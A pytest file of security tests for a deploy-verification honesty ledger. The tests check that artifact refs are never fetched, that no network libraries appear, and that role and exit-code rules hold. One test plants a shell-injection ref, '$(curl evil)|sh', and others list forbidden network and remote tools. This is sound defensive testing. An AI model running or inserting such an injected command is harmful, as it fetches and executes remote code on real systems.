test_p_deploy_security.py
python
sha256:a78e7e5a8740e03315f325d19edeb3aa1b306b3337d04abbaa9a9e0f3bbeb7a1
docs: MuseHub-first before ISR #74 — staging solidify NEXT
Human
1 day ago
| 1 | """Security tests for P-deploy Mode C opaque refs and boundary (§PD.9).""" |
| 2 | |
| 3 | from __future__ import annotations |
| 4 | |
| 5 | import inspect |
| 6 | from pathlib import Path |
| 7 | |
| 8 | from tests.fixtures.p_deploy import load_p_deploy_entry, seed_p_deploy_repo |
| 9 | from tools.honesty.ledger import append_entry |
| 10 | from tools.honesty.status import HonestyStatusOptions, run_honesty_status |
| 11 | from tools.honesty.types import LedgerAppendOptions |
| 12 | |
| 13 | |
| 14 | def test_url_and_shell_metachar_ref_opaque_never_fetched(repo_root) -> None: |
| 15 | config = seed_p_deploy_repo(repo_root, require_deploy_health="require") |
| 16 | body = load_p_deploy_entry("verification-with-deploy-health.json") |
| 17 | body["artifacts"][1]["ref"] = "https://prod.example/health?cmd=$(curl evil)|sh" |
| 18 | assert ( |
| 19 | append_entry( |
| 20 | config=config, |
| 21 | repo_root=repo_root, |
| 22 | options=LedgerAppendOptions(kind="verification_evidence", body=body), |
| 23 | ).exit_code |
| 24 | == 0 |
| 25 | ) |
| 26 | result = run_honesty_status( |
| 27 | config=config, |
| 28 | repo_root=repo_root, |
| 29 | options=HonestyStatusOptions( |
| 30 | hook=None, |
| 31 | artifact=None, |
| 32 | deploy_health="Track P / P-deploy", |
| 33 | ), |
| 34 | ) |
| 35 | assert result.exit_code == 0 |
| 36 | |
| 37 | |
| 38 | def test_no_network_imports_on_mode_c_paths() -> None: |
| 39 | import tools.honesty.ledger as ledger_mod |
| 40 | import tools.honesty.status as status_mod |
| 41 | import tools.honesty.validate as validate_mod |
| 42 | |
| 43 | for module in (ledger_mod, status_mod, validate_mod): |
| 44 | source = inspect.getsource(module) |
| 45 | assert "urllib" not in source |
| 46 | assert "requests" not in source |
| 47 | assert "httpx" not in source |
| 48 | assert "urlopen" not in source |
| 49 | |
| 50 | |
| 51 | def test_no_kit_side_deploy_or_probe_helpers_in_honesty_and_skill() -> None: |
| 52 | root = Path(__file__).resolve().parents[2] |
| 53 | skill = (root / "cursor" / "skills" / "deploy-verification-review" / "SKILL.md").read_text( |
| 54 | encoding="utf-8" |
| 55 | ) |
| 56 | assert "never HTTP" in skill or "never opens HTTP" in skill.lower() or "never deploys" in skill |
| 57 | honesty_tools = root / "tools" / "honesty" |
| 58 | for path in honesty_tools.rglob("*.py"): |
| 59 | text = path.read_text(encoding="utf-8") |
| 60 | assert "urlopen" not in text |
| 61 | assert "kubectl" not in text |
| 62 | assert "ssh " not in text.lower() |
| 63 | |
| 64 | |
| 65 | def test_producer_cannot_append_deploy_health_evidence(repo_root) -> None: |
| 66 | config = seed_p_deploy_repo(repo_root) |
| 67 | body = load_p_deploy_entry("verification-with-deploy-health.json") |
| 68 | body["actor_role"] = "producer" |
| 69 | result = append_entry( |
| 70 | config=config, |
| 71 | repo_root=repo_root, |
| 72 | options=LedgerAppendOptions(kind="verification_evidence", body=body), |
| 73 | ) |
| 74 | assert result.exit_code == 23 |
| 75 | |
| 76 | |
| 77 | def test_exit_34_not_waived_when_require_and_mode_c_invoked(repo_root) -> None: |
| 78 | config = seed_p_deploy_repo(repo_root, require_deploy_health="require") |
| 79 | result = run_honesty_status( |
| 80 | config=config, |
| 81 | repo_root=repo_root, |
| 82 | options=HonestyStatusOptions( |
| 83 | hook=None, |
| 84 | artifact=None, |
| 85 | deploy_health="Track P / P-deploy", |
| 86 | ), |
| 87 | ) |
| 88 | assert result.exit_code == 34 |
| 89 | assert result.json_payload.error == "missing_deploy_health" |
| 90 | |
| 91 | |
| 92 | def test_twin_skill_paths_exist() -> None: |
| 93 | root = Path(__file__).resolve().parents[2] |
| 94 | vendored = root / "cursor" / "skills" / "deploy-verification-review" / "SKILL.md" |
| 95 | local = root / ".cursor" / "skills" / "deploy-verification-review" / "SKILL.md" |
| 96 | assert vendored.is_file() |
| 97 | assert local.is_file() |
| 98 | assert vendored.read_text(encoding="utf-8") == local.read_text(encoding="utf-8") |
| 99 | text = vendored.read_text(encoding="utf-8") |
| 100 | for marker in ("D1", "D2", "D3", "D4", "D5", "D6", "D7", "D8"): |
| 101 | assert marker in text |
File History
1 commit
sha256:a78e7e5a8740e03315f325d19edeb3aa1b306b3337d04abbaa9a9e0f3bbeb7a1
docs: MuseHub-first before ISR #74 — staging solidify NEXT
Human
1 day ago